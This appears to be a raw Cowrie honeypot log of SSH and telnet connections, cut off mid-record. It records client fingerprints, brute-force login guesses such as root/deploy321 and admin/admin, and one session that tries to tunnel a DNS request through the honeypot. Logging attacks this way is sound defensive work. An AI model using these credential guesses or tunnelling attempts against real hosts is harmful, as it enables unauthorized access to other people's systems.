{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:49.287608Z","src_ip":"43.134.142.250","session":"54962c93c8df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"appadmin","message":"login attempt [root/appadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:50.269011Z","src_ip":"43.134.142.250","session":"54962c93c8df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:51.509472Z","src_ip":"43.134.142.250","session":"54962c93c8df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.45405125617981,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:54.342365Z","src_ip":"152.42.224.71","session":"203794151ad8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":6054,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdc67f12f4bb","protocol":"ssh","message":"New connection: 87.251.64.176:6054 (10.17.0.5:22) [session: fdc67f12f4bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:58.445302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:58.449919Z","src_ip":"87.251.64.176","session":"fdc67f12f4bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:58.546374Z","src_ip":"87.251.64.176","session":"fdc67f12f4bb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:58.840560Z","src_ip":"87.251.64.176","session":"fdc67f12f4bb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:58.939677Z","session":"fdc67f12f4bb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:59.038104Z","src_ip":"87.251.64.176","session":"fdc67f12f4bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:03:59.140227Z","src_ip":"87.251.64.176","session":"fdc67f12f4bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45282,"dst_ip":"10.17.0.5","dst_port":23,"session":"c19929b385db","protocol":"telnet","message":"New connection: 152.42.224.71:45282 (10.17.0.5:23) [session: c19929b385db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:07.241468Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45296,"dst_ip":"10.17.0.5","dst_port":23,"session":"e59641786a3f","protocol":"telnet","message":"New connection: 152.42.224.71:45296 (10.17.0.5:23) [session: e59641786a3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:08.307435Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45298,"dst_ip":"10.17.0.5","dst_port":23,"session":"930466acdf1f","protocol":"telnet","message":"New connection: 152.42.224.71:45298 (10.17.0.5:23) [session: 930466acdf1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:12.498449Z"}
{"eventid":"cowrie.session.closed","duration":37.79634237289429,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:14.902254Z","src_ip":"152.42.224.71","session":"8f7f62066370","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.74773955345154,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:17.351889Z","src_ip":"152.42.224.71","session":"0c2cc353dbd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.25139808654785,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:18.134275Z","src_ip":"152.42.224.71","session":"01f48a48f86b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.407846450805664,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:18.924916Z","src_ip":"152.42.224.71","session":"6160ae56ff1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.117.24.180","src_port":51126,"dst_ip":"10.17.0.5","dst_port":22,"session":"70063ec9e5f1","protocol":"ssh","message":"New connection: 79.117.24.180:51126 (10.17.0.5:22) [session: 70063ec9e5f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:21.706776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:21.711314Z","src_ip":"79.117.24.180","session":"70063ec9e5f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:21.826632Z","src_ip":"79.117.24.180","session":"70063ec9e5f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lpadmin","message":"login attempt [root/lpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:22.302746Z","src_ip":"79.117.24.180","session":"70063ec9e5f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:23.417603Z","src_ip":"79.117.24.180","session":"70063ec9e5f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41430,"dst_ip":"10.17.0.5","dst_port":23,"session":"394225721249","protocol":"telnet","message":"New connection: 152.42.224.71:41430 (10.17.0.5:23) [session: 394225721249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:23.433517Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38336,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fe0d115f0e0","protocol":"telnet","message":"New connection: 152.42.224.71:38336 (10.17.0.5:23) [session: 8fe0d115f0e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:27.519675Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38350,"dst_ip":"10.17.0.5","dst_port":23,"session":"e92baf7331e6","protocol":"telnet","message":"New connection: 152.42.224.71:38350 (10.17.0.5:23) [session: e92baf7331e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:29.650200Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.63.254","src_port":39658,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec8967045506","protocol":"ssh","message":"New connection: 43.156.63.254:39658 (10.17.0.5:22) [session: ec8967045506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:34.720725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:34.728253Z","src_ip":"43.156.63.254","session":"ec8967045506","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:34.965460Z","src_ip":"43.156.63.254","session":"ec8967045506","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deploy321","message":"login attempt [root/deploy321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:35.945601Z","src_ip":"43.156.63.254","session":"ec8967045506","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:37.185487Z","src_ip":"43.156.63.254","session":"ec8967045506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32972,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb625cba240b","protocol":"telnet","message":"New connection: 152.42.224.71:32972 (10.17.0.5:23) [session: cb625cba240b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:37.468752Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32980,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c1df8e24af4","protocol":"telnet","message":"New connection: 152.42.224.71:32980 (10.17.0.5:23) [session: 0c1df8e24af4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:39.154387Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32994,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c3402c6dba9","protocol":"telnet","message":"New connection: 152.42.224.71:32994 (10.17.0.5:23) [session: 3c3402c6dba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:41.188416Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":42460,"dst_ip":"10.17.0.5","dst_port":22,"session":"dff123d7b346","protocol":"ssh","message":"New connection: 103.98.149.87:42460 (10.17.0.5:22) [session: dff123d7b346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:47.064086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:47.101086Z","src_ip":"103.98.149.87","session":"dff123d7b346","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:47.287870Z","src_ip":"103.98.149.87","session":"dff123d7b346","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"v123456","message":"login attempt [root/v123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:48.189444Z","src_ip":"103.98.149.87","session":"dff123d7b346","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":68.4440324306488,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:48.325133Z","src_ip":"152.42.224.71","session":"1de402d90e56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:49.414791Z","src_ip":"103.98.149.87","session":"dff123d7b346","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.73403024673462,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:51.232335Z","src_ip":"152.42.224.71","session":"930466acdf1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.38507032394409,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:58.818472Z","src_ip":"152.42.224.71","session":"394225721249","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.033106327056885,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:04:59.340420Z","src_ip":"152.42.224.71","session":"e59641786a3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":58984,"dst_ip":"10.17.0.5","dst_port":22,"session":"2653320cc6a7","protocol":"ssh","message":"New connection: 171.244.37.103:58984 (10.17.0.5:22) [session: 2653320cc6a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:00.311667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:00.316342Z","src_ip":"171.244.37.103","session":"2653320cc6a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:00.564432Z","src_ip":"171.244.37.103","session":"2653320cc6a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"travis","message":"login attempt [root/travis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:01.589648Z","src_ip":"171.244.37.103","session":"2653320cc6a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":55782,"dst_ip":"10.17.0.5","dst_port":22,"session":"89d8e44501ae","protocol":"ssh","message":"New connection: 80.94.92.184:55782 (10.17.0.5:22) [session: 89d8e44501ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:01.988036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:05:02.016262Z","src_ip":"80.94.92.184","session":"89d8e44501ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gc